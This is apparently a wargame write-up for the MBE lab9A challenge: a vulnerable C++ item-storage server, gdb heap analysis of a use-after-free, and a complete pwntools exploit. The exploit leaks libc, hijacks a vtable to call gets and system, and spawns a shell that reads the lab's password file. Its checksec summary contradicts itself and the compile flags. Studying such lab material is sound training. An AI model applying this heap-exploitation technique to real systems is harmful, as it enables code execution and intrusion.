For this lab, we are given a program and its corresponding source code in C++.

/*
 * compile: g++ -fstack-protector-all -z relro -z now -O1 -fPIE -pie ./lab9A.cpp -g -o lab9A
 * clark's improved item storage server!  
 * Changelog:
 *   * Using HashSets for insta-access!   
 *
*/

#include <iostream>
#include <cstdlib>
#include <cstdio>
#include <unistd.h>
#include "utils.h"

ENABLE_TIMEOUT(300)

#define SIZE_HASHSET_VEC 8

void
print_menu(void)
{
    printf("+----------- clark's improved item storage -----------+\n"
           "| [ -- Now using HashSets for insta-access to items!  |\n"
           "| 1. Open a lockbox                                   |\n"
           "| 2. Add an item to a lockbox                         |\n"
           "| 3. Get an item from a lockbox                       |\n"
           "| 4. Destroy your lockbox and items in it             |\n"
           "| 5. Exit                                             |\n"
           "+-----------------------------------------------------+\n");
}

/********* Storage implementation **********/

// hash functor
class hash_num {
    public:
        // I'm no mathematician
        unsigned int
        operator() (unsigned int const &key) const {
            return key;                            // dereferences key and returns result
        }
};

// Hashset
template<class T, class HashFunc>
class HashSet {
    public:
        HashSet(unsigned int size) : m_size(size), set_data(new T[size]) {}
        virtual ~HashSet() { delete [] set_data; }
        virtual void add(T val);

        virtual unsigned int find(T val); 
        virtual T get(unsigned int);
    private:
        unsigned int m_size;
        HashFunc m_hash;
        T *set_data;
};
typedef HashSet<int, hash_num> hashset_int;                    // hash_num is a functor [35]

template<class T, class HashFunc>
void
HashSet<T, HashFunc>::add(T val)
{
    int index = this->m_hash(val) % this->m_size;              // this isn't right, is it? val = numver you want to add.
    this->set_data[index] = val;
}

template<class T, class HashFunc>
unsigned int
HashSet<T, HashFunc>::find(T val)
{
    return this->m_hash(val) % this->m_size;
}

template<class T, class HashFunc>
T
HashSet<T, HashFunc>::get(unsigned int index)
{
    if (index >= m_size) {
        std::cout << "Invalid index" << std::endl;
        return T();
    }
    return set_data[index];
}

/********* Storage interface implementation **********/
void
do_new_set(hashset_int **set_vec)      // hashset_int **set_vec = ptr to a ptr->hash_int obj [58]
{
    int bin = -1;
    int choice = -1;
    std::cout << "Which lockbox do you want?: ";
    bin = get_unum();
    if (bin < 0) {
        std::cout << "Invalid set ID!" << std::endl;
        return;
    } else if (bin >= SIZE_HASHSET_VEC) { 
        std::cout << "No more room!" << std::endl;
        return;
    }
    std::cout << "How many items will you store?: ";
    choice = get_unum();
    set_vec[bin] = new hashset_int(choice); // choice = m_size [48]
}

void
do_add_item(hashset_int **set_vec)    // set_vec = ptr to a ptr->hash_int obj AKA array of ptrs to hash_int objects [58]
{
    int set_id = -1;
    int item_val = -1;

    std::cout << "Which lockbox?: ";
    set_id = get_unum();
    if (set_id < 0 || set_id >= SIZE_HASHSET_VEC) {
        std::cout << "Invalid set ID!" << std::endl;
        return;
    }

    std::cout << "Item value: ";
    item_val = get_unum();
    set_vec[set_id]->add(item_val);   // [62]
}

void
do_find_item(hashset_int **set_vec)
{
    int set_id = -1;
    int item_val = -1;
    int item_index = -1;

    std::cout << "Which lockbox?: ";
    set_id = get_unum();
    if (set_id < 0 || set_id >= SIZE_HASHSET_VEC) {
        std::cout << "Invalid set ID!" << std::endl;
        return;
    }

    std::cout << "Item value: ";
    item_val = get_unum();
    item_index = set_vec[set_id]->find(item_val);
    if (item_index == -1) {
        std::cout << "Item not found!" << std::endl;
    } else {
        std::cout << "Item Found" << std::endl;
        printf("lockbox[%d] = %d\n", item_index, set_vec[set_id]->get(item_index));
    }
}

void
do_del_set(hashset_int **set_vec)
{
    int del_id;
    std::cout << "Which set?: ";
    del_id = get_unum();
    if (del_id < 0 || del_id >= SIZE_HASHSET_VEC) {
        std::cout << "Invalid ID!" << std::endl;
        return;
     }
    delete set_vec[del_id];
}

int
main(int argc, char *argv[])
{
    hashset_int **set_vec = new hashset_int*[SIZE_HASHSET_VEC]; // array of pointers to lockboxes/hashset_int objects [58]
    int choice = -1;
    bool done = false;
    disable_buffering(stdout);

    while (!done) {
        print_menu();
        std::cout << "Enter choice: ";
        choice = get_unum();
        switch (choice) {
        case 1:
            do_new_set(set_vec);
            break;
        case 2:
            do_add_item(set_vec);
            break;
        case 3:
            do_find_item(set_vec);
            break;
        case 4:
            do_del_set(set_vec);
            break;
        case 5:
            done = true;
            break;
        default:
            puts("Invalid option!");
            break;
        }
    }

    delete [] set_vec;

    return EXIT_SUCCESS;
}

If we run checksec, we can see that stack canaries, NX, PIE and full RELRO are.

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Intro

This program implements a HashSet class whose HashFunc is defined in a simple callable class instance. The HashFunc simply dereferences a key and returns its value. When the program starts, hashset_int *set_vec[], an array of 8 pointers to lockboxes/hash_int objects is created. Each pointer in this array points to a hash_int object. Each hash_int object contains a vptr to a vftable of callable virtual functions, the number of items it is to store, and a pointer to an appropriately sized heap chunk, set_data that will store an array of integers. An example of such a hash_int object can be seen in the following snippet where 0x8050a10 is the set_vec[] array and 0x8050a38 is the hash_int object pointed to in set_vec[0].

gdb-peda$ x/16xw 0x8050a10
0x8050a10:      0x08050a38      0x08050ad8      0x00000000      0x00000000
0x8050a20:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050a30:      0x00000000      0x00000019      0x08049aa8      0x00000020
0x8050a40:      0x00000000      0x08050a50      0x00000000      0x00000089
gdb-peda$ telescope 0x08050a38
0000| 0x8050a38 --> 0x8049aa8 --> 0x80496e0 (<_ZN7HashSetIi8hash_numED2Ev>:     push   ebp)
0004| 0x8050a3c --> 0x20 (' ') <------ number of items to hold in the lockbox
0008| 0x8050a40 --> 0x0 
0012| 0x8050a44 --> 0x8050a50 --> 0x0 <----- pointer to set_data, which is created via new T[0x20]
0016| 0x8050a48 --> 0x0 
0020| 0x8050a4c --> 0x89 <------- size metadata field of the set_data heap chunk
0024| 0x8050a50 --> 0x0 
0028| 0x8050a54 --> 0x0 
gdb-peda$ telescope 0x8049aa8   <----- vftable of 0x8050a38 object
0000| 0x8049aa8 --> 0x80496e0 (<_ZN7HashSetIi8hash_numED2Ev>:   push   ebp)
0004| 0x8049aac --> 0x804971e (<_ZN7HashSetIi8hash_numED0Ev>:   push   ebp)
0008| 0x8049ab0 --> 0x8049618 (<_ZN7HashSetIi8hash_numE3addEi>: push   ebp)
0012| 0x8049ab4 --> 0x8049660 (<_ZN7HashSetIi8hash_numE4findEi>:        push   ebp)
0016| 0x8049ab8 --> 0x8049692 (<_ZN7HashSetIi8hash_numE3getEj>: push   ebp)

Vulnerability

The is a use-after-free vulnerability that exists within the program. If we delete a hash_int object from the set_vec[] array, a pointer to the object will remain in the array! This allows us to re-use the object after freeing the object, not knowing what new data has been allocated or written there.

Graphically, 2 allocated boxes look something like this.

And in GDB, before freeing set_vec[0] and set_vec[1]:

gdb-peda$ x/64xw 0x08050a38-0x8
0x8050a30:      0x00000000      0x00000019      0x08049aa8      0x00000020
0x8050a40:      0x00000000      0x08050a50      0x00000000      0x00000089
0x8050a50:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050a60:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050a70:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050a80:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050a90:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050aa0:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050ab0:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050ac0:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050ad0:      0x00000000      0x00000019      0x08049aa8      0x00000020
0x8050ae0:      0x00000000      0x08050af0      0x00000000      0x00000089
0x8050af0:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050b00:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050b10:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050b20:      0x00000000      0x00000000      0x00000000      0x00000000

And after freeing set_vec[0] and set_vec[1]:

gdb-peda$ x/64xw 0x08050a38-0x8
0x8050a30:      0x00000000      0x000000a1      0xf7e89450      0xf7e89450
0x8050a40:      0x00000000      0x08050a50      0x00000000      0x00000089
0x8050a50:      0xf7e89450      0xf7e89450      0x00000000      0x00000000
0x8050a60:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050a70:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050a80:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050a90:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050aa0:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050ab0:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050ac0:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050ad0:      0x000000a0      0x00000018      0x00000000      0x00000020
0x8050ae0:      0x00000000      0x08050af0      0x00000000      0x00020519
0x8050af0:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050b00:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050b10:      0x00000000      0x00000000      0x00000000      0x00000000
0x8050b20:      0x00000000      0x00000000      0x00000000      0x00000000

Notice how the vptr in 0x8050a38 is overwritten with a libc address after it is freed. Also, observe how the size of the chunk that originally started at address 0x8050a30 is now 0xa1.

We can actually exploit this use-after-free vulnerability by allocating a third box to leak both a heap address and a libc address.

Since we now have a free chunk of size 0x18 at 0x8050ad0 if we allocate this third box with 8 items in it, the new hash_int object will be allocated at 0x8050ad0, but its set_data array will be allocated at 0x8050a30!

We can then leak a libc address and a heap address by printing items from the third box, which will start leaking addresses starting at 0x8050a38!

We can subsequently use the libc leak to calculate the address of system@libc, gets@libc, and binsh@libc.

EIP Control

Now, to control EIP, I at first crafted a fake vtable within a 4th box that I added so that instead of add() being called, system() is called instead.

Unfortunately, this is no good because when system() is called, while we do control EIP, we also only control arg2, not arg1, due to the way virtual functions are called.

gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xf7441190 (<__libc_system>:       push   ebx)
EBX: 0xf75ab000 --> 0x1a9da8 
ECX: 0xf7561a24 ("/bin/sh")
EDX: 0x86c3a38 --> 0x86c3a70 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffd1f278 --> 0xffd1f2a8 --> 0x0 
ESP: 0xffd1f250 --> 0x86c3a38 --> 0x86c3a70 --> 0x0 
EIP: 0x8049278 (<_Z11do_add_itemPP7HashSetIi8hash_numE+177>:    call   eax)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804926e <_Z11do_add_itemPP7HashSetIi8hash_numE+167>:       mov    ecx,DWORD PTR [ebp-0xc]
   0x8049271 <_Z11do_add_itemPP7HashSetIi8hash_numE+170>:       mov    DWORD PTR [esp+0x4],ecx
   0x8049275 <_Z11do_add_itemPP7HashSetIi8hash_numE+174>:       mov    DWORD PTR [esp],edx
=> 0x8049278 <_Z11do_add_itemPP7HashSetIi8hash_numE+177>:       call   eax
   0x804927a <_Z11do_add_itemPP7HashSetIi8hash_numE+179>:       leave  
   0x804927b <_Z11do_add_itemPP7HashSetIi8hash_numE+180>:       ret    
   0x804927c <_Z12do_find_itemPP7HashSetIi8hash_numE>:  push   ebp
   0x804927d <_Z12do_find_itemPP7HashSetIi8hash_numE+1>:        mov    ebp,esp
Guessed arguments:
arg[0]: 0x86c3a38 --> 0x86c3a70 --> 0x0 
arg[1]: 0xf7561a24 ("/bin/sh")
[------------------------------------stack-------------------------------------]
0000| 0xffd1f250 --> 0x86c3a38 --> 0x86c3a70 --> 0x0 
0004| 0xffd1f254 --> 0xf7561a24 ("/bin/sh")
0008| 0xffd1f258 --> 0xffd1f2a8 --> 0x0 
0012| 0xffd1f25c --> 0xf76718ae (<_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc+46>:  add    esp,0x10)
0016| 0xffd1f260 --> 0x804b0c0 --> 0xf76d1e2c --> 0xf76700d0 (<_ZNSoD1Ev>:      push   ebx)
0020| 0xffd1f264 --> 0x8049a55 ("Enter choice: ")
0024| 0xffd1f268 --> 0x0 
0028| 0xffd1f26c --> 0xf7561a24 ("/bin/sh")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08049278 in do_add_item(HashSet<int, hash_num>**) ()

Notice that arg1 points to set_vec[0], and not to “/bin/sh”. This is because everytime a virtual function is called, the this pointer is implicitly passed in as the first argument!!!

Therefore, we need to find some other way to spawn a shell.

To do this, we can instead, first call gets@libc to write a ";/bin/sh\0" string after the fake vptr in set_vec[0]. Then we can call system@libc after this string is written, and now when we do, arg1 will point to the string "<fake_vptr>;/bin/sh\0", which will call system("<addr_of_system>;/bin/sh\0"); and give us a shell.

Right before system("<addr_of_system>;/bin/sh\0"); is called, the heap looks like the following:

gdb-peda$ x/64xw 0x9b7ba30
0x9b7ba30:      0x00000000      0x00000029      0x09b7ba70      0x69622f3b
0x9b7ba40:      0x68732f6e      0x09b70000      0x00000000      0x00000089
0x9b7ba50:      0xf7648450      0xf7648450      0x00000000      0x00000019
0x9b7ba60:      0x08049aa8      0x00000008      0x00000000      0x09b7ba78
0x9b7ba70:      0x00000000      0x00000029      0xf74de190      0xf7648450
0x9b7ba80:      0x00000000      0x00000000      0x00000000      0x00000000
0x9b7ba90:      0x00000000      0x00000000      0x00000000      0x00000039
0x9b7baa0:      0xf7648450      0xf7648450      0x00000000      0x00000000
0x9b7bab0:      0x00000000      0x00000000      0x00000000      0x00000000
0x9b7bac0:      0x00000000      0x00000000      0x00000000      0x00000000
0x9b7bad0:      0x00000038      0x00000018      0x08049aa8      0x00000008
0x9b7bae0:      0x00000000      0x09b7ba38      0x00000000      0x00020519

Notice that set_vec[0]’s vptr has been overwritten with 0x09b7ba70, which is where we’ve placed our fake vftable. When do_add_item() is called, it will derefernce vftable+0x8 to get the address of what it thinks is the add() function. However, because we’ve overwritten it with the address of system@libc, or 0xf74de190, we will call system() instead.

Also notice that starting at 0x9b7ba3c, we’ve placed our ";/bin/sh\0" string.

Putting everything together, we get a shell using the following exploit.

Solution

#!/usr/bin/env python

from pwn import *
import sys

def open_box(box, num_items):
    r.sendline("1")
    r.recvuntil(": ")
    r.sendline(str(box))
    r.recvuntil(": ")
    r.sendline(str(num_items))
    r.recvuntil(": ")

def add_item(box,item_val):
    r.sendline("2")
    r.recvuntil(": ")
    r.sendline(str(box))
    r.recvuntil(": ")
    r.sendline(str(item_val))
    r.recvuntil(": ")

def get_item(box, item_val, parse = True):
    r.sendline("3")
    r.recvuntil(": ")
    r.sendline(str(box))
    r.recvuntil(": ")
    r.sendline(str(item_val))
    if parse:
        return r.recvuntil(": ").split(" = ")[1].split("\n")[0]
    else:
        r.recvuntil(": ")

def del_box(box):
    r.sendline("4")
    r.recvuntil(": ")
    r.sendline(str(box))
    r.recvuntil(":")

def exploit(r):
    r.recvuntil(": ")

    ## allocate box0, box1
    open_box(0,32) # data_set chunk != fastbin size ( > 64 bytes)
    open_box(1,32) # data_set chunk != fastbin size ( > 64 bytes)

    ## free box0, box1
    del_box(0)
    del_box(1)

    ## allocate box2
    open_box(2, 8) #(0xa0-8)/4 = 38

    ## get items from box2
    heap_leak = int(get_item(2,3))
    libc_leak = int(get_item(2,1))
    libc_base = libc_leak-0x1aa4e8
    system = libc_base+0x40190
    binsh = libc_base+0x160a24
    gets = libc_base+0x64cd0
    fake_vtable = heap_leak+0x20

    log.success("heap chunk found at "+hex(heap_leak&0xffffffff))
    log.success("libc base found at "+hex(libc_base&0xffffffff))
    log.success("system@libc found at "+hex(system&0xffffffff))
    log.success("binsh@libc found at "+hex(binsh&0xffffffff))
    log.success("gets@libc found at "+hex(gets&0xffffffff))
    log.success("fake_vtable crafted at "+hex(fake_vtable&0xffffffff)+"!")

    ## add fake vptr to box0 through box2
    add_item(2,fake_vtable)

    ## allocate box3
    open_box(3,8)
    
    ## write gets@libc to box3.data_set[0] which is fake_vtable+0x8
    add_item(3,gets)  

    '''
    rh0gue@vexillum:~/libc-database$ ./dump local-6190cf8cf76a91fe996318cbd6d8c4180f11c115
    offset___libc_start_main_ret = 0x19a83
    offset_system = 0x00040190
    offset_dup2 = 0x000db590
    offset_read = 0x000dabd0
    offset_write = 0x000dac50
    offset_str_bin_sh = 0x160a24
    gets 00064cd0 
    '''
    #pause()
    ## add item to trigger gets(set_vec[0]);
    r.sendline("2")
    r.recvuntil(": ")
    r.sendline("0")
    r.recvuntil(": ")
    r.sendline(p32(0xb00bface)) # whatever

    payload = p32(fake_vtable) # preserve fake vtable
    payload += ";/bin/sh\0"
    r.sendline(payload)

    ## write system@libc to box3.data_set[0] which is fake_vtable+0x8
    add_item(3,system)    
    
    #pause()
    ## add item to trigger system(set_vec[0]) = system("<addr_of_system>;/bin/sh\0");  
    r.sendline("2")
    r.recvuntil(": ")
    r.sendline("0")
    r.recvuntil(": ")
    r.sendline(p32(0xb00bface)) # whatever
    
    r.interactive()
if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        exploit(r)
    else:
        r = process(['/home/rh0gue/Documents/MBE/lab09/9A/lab9A'], env={"LD_PRELOAD":""})
        print util.proc.pidof(r)
        pause()
        exploit(r)
rh0gue@vexillum:~/Documents/MBE/lab09/9A$ python solve.py warzone 9941
[*] For remote: solve.py HOST PORT
[+] Opening connection to warzone on port 9941: Done
[+] heap chunk found at 0x9151048
[+] libc base found at 0xb74fc000
[+] system@libc found at 0xb753c190
[+] binsh@libc found at 0xb765ca24
[+] gets@libc found at 0xb7560cd0
[+] fake_vtable crafted at 0x9151068!
[*] Switching to interactive mode
Item value: $ id
uid=1035(lab9end) gid=1036(lab9end) groups=1036(lab9end),1001(gameuser)
$ whoami
lab9end
$ cat /home/lab9end/.pass
1_d1dNt_3v3n_n33d_4_Hilti_DD350
$  

ADDENDUM

After completing this challenge, Grazfather informed me of an easier way to solve this challenge. Instead of calling gets() and writing ;/bin/sh\0 to the heap, we can actually directly just call system()+1 so that we skip the first push instruction which will shift our entire stack down. Basically, our actual arg2, which we control, will be treated as arg1, the actual arg1 will be treated as the SRA, etc.

gdb-peda$ pdisas __libc_system
Dump of assembler code for function __libc_system:
   0xf74de190 <+0>:     push   ebx
   0xf74de191 <+1>:     sub    esp,0x8
   0xf74de194 <+4>:     mov    eax,DWORD PTR [esp+0x10]
   0xf74de198 <+8>:     call   0xf75c494b <__x86.get_pc_thunk.bx>

So instead of calling system(<this ptr>);, we will call system("/bin/sh\0");!